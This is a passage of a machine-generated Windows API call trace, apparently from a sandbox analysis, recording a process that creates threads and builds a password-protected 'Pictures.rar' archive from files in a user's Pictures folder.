lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x788) returned 0x250 [0059.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x7b4) returned 0x254 [0059.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x7f8) returned 0x258 [0059.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x7ac) returned 0x25c [0059.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x68c) returned 0x260 [0059.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x4a4) returned 0x264 [0059.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x420) returned 0x268 [0059.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x4cc) returned 0x26c [0059.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x858) returned 0x270 [0059.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x8e4) returned 0x274 [0059.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0xbf4) returned 0x278 [0059.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x64) returned 0x27c [0059.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x574) returned 0x280 [0059.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x814) returned 0x284 [0059.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x38c) returned 0x288 [0059.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x804) returned 0x28c [0059.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x92c) returned 0x290 [0059.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x88c) returned 0x294 [0059.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x910) returned 0x298 [0059.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x3b8) returned 0x29c [0059.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x820) returned 0x2a0 [0059.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x824) returned 0x2a4 [0059.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x90c) returned 0x2a8 [0059.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x818) returned 0x2ac [0059.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x6c0) returned 0x2b0 [0059.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x2ec) returned 0x2b4 [0059.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x5c0) returned 0x2b8 [0059.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0x638) returned 0x2bc [0059.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0xb40) returned 0x2c0 [0059.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0xb3c) returned 0x2c4 [0059.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0xb38) returned 0x2c8 [0059.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x27a7e0, dwCreationFlags=0x0, lpThreadId=0x16d2b0 | out: lpThreadId=0x16d2b0*=0xb34) returned 0x2cc [0059.342] ResetEvent (hEvent=0x190) returned 1 [0059.342] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.343] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.344] ResetEvent (hEvent=0x190) returned 1 [0059.344] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.344] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.349] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 1 [0059.349] GetMessageW (in: lpMsg=0x16d150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d150) returned 1 [0059.349] GetFocus () returned 0x10268 [0059.349] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d150) returned 1 [0059.349] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.349] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x1a [0059.349] SetFilePointer (in: hFile=0x198, lDistanceToMove=121, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x93 [0059.349] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xc38) returned 0x3ba84a0 [0059.349] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.371] CryptProtectMemory (in: pDataIn=0x276a66, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x276a66) returned 1 [0059.373] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xf440, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xf440, lpOverlapped=0x0) returned 1 [0059.374] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.374] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.374] SetFilePointer (in: hFile=0x198, lDistanceToMove=26, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x1a [0059.374] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x1a [0059.374] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bd80 [0059.374] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bdb0 [0059.374] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bdb0, Size=0x48) returned 0x26fe80 [0059.374] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c1f0 [0059.374] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bdb0 [0059.374] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bdb0, Size=0x48) returned 0x26fed0 [0059.374] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c1f0 | out: hHeap=0x1b0000) returned 1 [0059.374] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.374] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bdb0 [0059.374] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bde0 [0059.374] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bde0 | out: hHeap=0x1b0000) returned 1 [0059.374] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bdb0 | out: hHeap=0x1b0000) returned 1 [0059.374] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bd80, Size=0x48) returned 0x26fe80 [0059.374] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7c) returned 0x203ab0 [0059.374] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x79, lpOverlapped=0x0) returned 1 [0059.374] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bd80 [0059.374] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x79) returned 0x203b40 [0059.374] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.374] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.374] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0xf4d3 [0059.374] CloseHandle (hObject=0x1b0) returned 1 [0059.374] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.374] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.374] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.374] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.374] FindFirstFileW (in: lpFileName="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3b83790 [0059.375] FindClose (in: hFindFile=0x3b83790 | out: hFindFile=0x3b83790) returned 1 [0059.375] CreateFileW (lpFileName="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\9cnbfi2a\\jzmmznm0qb06bugb_ob.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.375] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.375] GetTickCount () returned 0xa65341 [0059.375] GetLastError () returned 0x0 [0059.375] SetLastError (dwErrCode=0x0) [0059.375] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0059.375] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0059.375] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16bc00, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0059.375] SetWindowTextW (hWnd=0x1024e, lpString=" 0%") returned 1 [0059.375] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0059.376] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.376] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.376] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.376] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.376] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="B5WGJFxuORhJIbLXl.jpg") returned 21 [0059.376] SetWindowTextW (hWnd=0x1024c, lpString="JzMMZnM0QB06bugb_OB.gif") returned 1 [0059.376] GetTickCount () returned 0xa65341 [0059.376] UpdateWindow (hWnd=0x10244) returned 1 [0059.376] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.376] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.377] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.377] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.377] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x42)) [0059.377] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.377] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13471727887) returned 1 [0059.377] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x18e47, lpOverlapped=0x0) returned 1 [0059.378] ReadFile (in: hFile=0x1b0, lpBuffer=0x36e8e87, nNumberOfBytesToRead=0xe71b9, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36e8e87*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.378] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.378] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.378] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bdb0 [0059.378] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bde0 [0059.378] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bde0, Size=0x48) returned 0x26fed0 [0059.378] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.378] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bde0 [0059.378] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bde0, Size=0x48) returned 0x26fe80 [0059.378] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.378] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.378] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bde0 [0059.378] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be10 [0059.378] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be10 | out: hHeap=0x1b0000) returned 1 [0059.378] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bde0 | out: hHeap=0x1b0000) returned 1 [0059.378] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bdb0, Size=0x48) returned 0x26fed0 [0059.378] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7e) returned 0x203ab0 [0059.378] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.378] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.380] GetTickCount () returned 0xa65341 [0059.380] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13472062958) returned 1 [0059.380] GetTickCount () returned 0xa65341 [0059.380] GetTickCount () returned 0xa65341 [0059.380] GetTickCount () returned 0xa65341 [0059.380] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cf58 | out: ppv=0x16cf58*=0x3b8bdb0) returned 0x0 [0059.380] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b8bdb0, hwnd=0x10244, tbpFlags=2) returned 0x0 [0059.381] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b8bdb0, hwnd=0x10244, ullCompleted=0x28211, ullTotal=0x940593) returned 0x0 [0059.381] TaskbarList:IUnknown:Release (This=0x3b8bdb0) returned 0x0 [0059.381] GetLastError () returned 0x36b7 [0059.381] SetLastError (dwErrCode=0x36b7) [0059.381] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0059.381] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0059.381] GetWindowTextW (in: hWnd=0x10264, lpString=0x16bb20, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0059.381] SetWindowTextW (hWnd=0x10264, lpString=" 1%") returned 1 [0059.381] GetLastError () returned 0x0 [0059.381] SetLastError (dwErrCode=0x0) [0059.381] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0059.381] GetWindowTextW (in: hWnd=0x10260, lpString=0x16bb20, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0059.381] SetWindowTextW (hWnd=0x10260, lpString=" 38%") returned 1 [0059.381] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x1, lParam=0x0) returned 0x0 [0059.381] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.381] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.382] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.382] ResetEvent (hEvent=0x1a4) returned 1 [0059.382] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.382] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.480] ResetEvent (hEvent=0x1a4) returned 1 [0059.480] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.535] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.535] ResetEvent (hEvent=0x1a4) returned 1 [0059.535] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.541] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.545] GetTickCount () returned 0xa653ec [0059.545] GetLastError () returned 0x0 [0059.545] SetLastError (dwErrCode=0x0) [0059.545] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0059.545] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0059.545] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0059.545] SetWindowTextW (hWnd=0x1024e, lpString=" 100%") returned 1 [0059.545] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0059.545] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13488563282) returned 1 [0059.545] GetTickCount () returned 0xa653ec [0059.545] GetTickCount () returned 0xa653ec [0059.545] GetTickCount () returned 0xa653ec [0059.545] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0059.545] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0059.545] GetFocus () returned 0x10268 [0059.545] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d3d0) returned 1 [0059.545] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.545] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.546] ResetEvent (hEvent=0x190) returned 1 [0059.546] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.547] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.547] ResetEvent (hEvent=0x190) returned 1 [0059.547] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.550] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.550] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.550] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.550] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0xf4d3 [0059.550] SetFilePointer (in: hFile=0x198, lDistanceToMove=123, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0xf54e [0059.550] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.550] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.550] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.550] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.551] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x18f40, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x18f40, lpOverlapped=0x0) returned 1 [0059.552] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.552] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.552] SetFilePointer (in: hFile=0x198, lDistanceToMove=62675, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0xf4d3 [0059.552] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: 